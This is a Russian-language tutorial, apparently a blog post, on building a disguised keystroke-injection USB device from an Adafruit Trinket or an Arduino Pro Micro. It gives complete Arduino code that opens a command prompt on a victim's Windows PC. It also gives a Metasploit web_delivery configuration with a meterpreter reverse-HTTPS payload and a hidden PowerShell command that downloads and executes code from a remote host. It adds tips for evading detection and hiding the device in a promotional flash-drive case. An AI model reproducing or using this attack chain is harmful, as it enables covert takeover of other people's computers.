Этот материал представлен только в ознакомительных целях, вся статья лишь шутка, и ни к каким действиям не призывает. Помните про закон... http://telegra.ph/file/f3670b6b481abd2f36aad.jpg Если не знаете, что такое «резиновая уточка» (USB Rubber Ducky), это https://hakshop.com/products/usb-rubber-ducky-deluxe, на фото. Оно выглядит и ведёт себя как обычная флешка, но её можно запрограммировать на очень быстрый ввод клавиш с клавиатуры. «Уточка» способна взломать любую систему за несколько секунд. Единственный недостаток — вам понадобится физический доступ к компьютеру. И ещё она стоит $50, вот почему я написал эту статью. Мы используем 5V Adafruit Trinket и кабель microUSB — вот и всё, что нам понадобится. К счастью, Adafruit предоставляет библиотеку для интерфейса клавиатуры по USB, так что сразу делаем #include. Вам понадобится установить библиотеку, следуя https://learn.adafruit.com/adafruit-arduino-ide-setup/overview инструкции. #include <TrinketKeyboard.h> Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin(). #include <TrinketKeyboard.h> void setup() { TrinketKeyboard.begin();} void loop() { TrinketKeyboard.print("Help, I am trapped in a computer! \n"); delay(500);} http://telegra.ph/file/e83d65842d5330dd2eb18.png Выглядит неплохо. Теперь запустим команды на компьютере жертвы. Это можно сделать, «нажав» клавишу Windows, набрав cmd, Enter, а затем саму команду. #include <TrinketKeyboard.h> void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300);} void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0);} void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("ipconfig"); delay(100); pressEnter();} Отлично. Создадим эксплоит во фреймворке Metasploit. ______________________________________________________________________ Будем использовать модуль https://www.rapid7.com/db/modules/exploit/multi/script/web_delivery. Я выбрал его из-за высокой скорости и низкой вероятности срабатывания антивируса. Он также ничего не пишет на диск, так что не оставит следов по окончании работы. Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера. use exploit/multi/script/web_delivery Нужно сказать нашей программе, откуда брать бинарники: set LHOST 1.2.3.4 Дальше указываем порт, который не вызовет подозрений, что насчёт 443? set LPORT 443 Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки. set URIPATH / Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell. set TARGET 2 Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение. set PAYLOAD windows/meterpreter/reverse_https И наконец exploit. Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc. use exploit/multi/script/web_delivery set LHOST 1.2.3.4 set LPORT 443 set URIPATH / set TARGET 2 set PAYLOAD windows/meterpreter/reverse_https exploit Получаем полезную нагрузку для запуска на компьютере жертвы: powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]:efaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/'); Теперь можем запустить это с флэшки. #include <TrinketKeyboard.h> void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300);} void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0);} void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]:efaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/');"); delay(100); pressEnter();} void loop() { // nothing happens after setup} Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы. http://telegra.ph/file/003742c53d4be66dbfdcf.png Из-за ограниченной мощности «уточки» загрузчик не доступен постоянно, как в обычной Arduino, вы можете загрузить код только когда нажмёте кнопку на флешке или в течение первых 30 секунд работы. То есть первые 30 секунд после подключения флешки мы ждём, пока код реально сработает, а затем ещё 10 секунд для набора и выполнения скрипта. Было бы очень полезно сократить время доступа на 75%. https://github.com/beargun/Adafruit-Trinket-Gemma-Bootloader отредактировал прошивку, чтобы пропустить загрузчик при подключении. Мы взяли код и перепрошили флэшку, перезагрузили код и та-дам — всё работает. Но можно сделать ещё лучше: хорошо бы спрятать микросхему в корпус, чтобы она не вызывала подозрений. ____________________________________________________________________ Я выбрал одну из тех неприметных USB-флешек, которые рекрутеры раздают миллионами, и заказал https://www.amazon.com/CHENYANG-Ultra-Adapter-Connector-Tablet/dp/B015GZOHKW/ классные маленькие OTG-адаптеры microUSB − USB A. Пришлось отрезать ненужные части печатной платы, чтобы она поместилась в корпус, всунул OTG-адаптер в корпус USB A и заклеил всё суперклеем. По мне так выглядит вообще не подозрительно, но всё-таки 10 секунд — это немалое время, особенно когда прячешься от драконов. http://telegra.ph/file/c86eedb6765d61364fe1e.png Вы также можете заказать Arduino Pro Micro на Amazon примерно за $10. Если есть терпение, то можно даже найти на eBay примерно за $3 или $4. У меня не нашлось USB-флэшки достаточно большого размера для Pro Micro, так что я подключил OTG-адаптер, перемотал его изолентой и на этом успокоился. http://telegra.ph/file/130a630349213c68dfef8.jpg Нужно немного изменить программу, потому что мы используем другую библиотеку, но работать она будет как и раньше. #include "Keyboard.h" void winRun() { Keyboard.press(KEY_LEFT_GUI); Keyboard.press('r'); delay(30); Keyboard.releaseAll(); delay(100);} void setup() { Keyboard.begin(); delay(2000); winRun(); Keyboard.println("cmd"); Keyboard.write(KEY_RETURN); delay(500); Keyboard.println("powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=[Net.WebRequest]::GetSystemWebProxy();$C.Proxy.Credentials=[Net.CredentialCache]:efaultCredentials;IEX $C.downloadstring('http://1.2.3.4:8080/');"); Keyboard.write(KEY_RETURN);} void loop() { // put your main code here, to run repeatedly:} Самое большое преимущество Pro Micro — это скорость. Теперь нам нужно всего 3 секунды физического доступа. Настоящая атака на ходу. Если вы намерены применить эту силу, делайте это ради благого дела.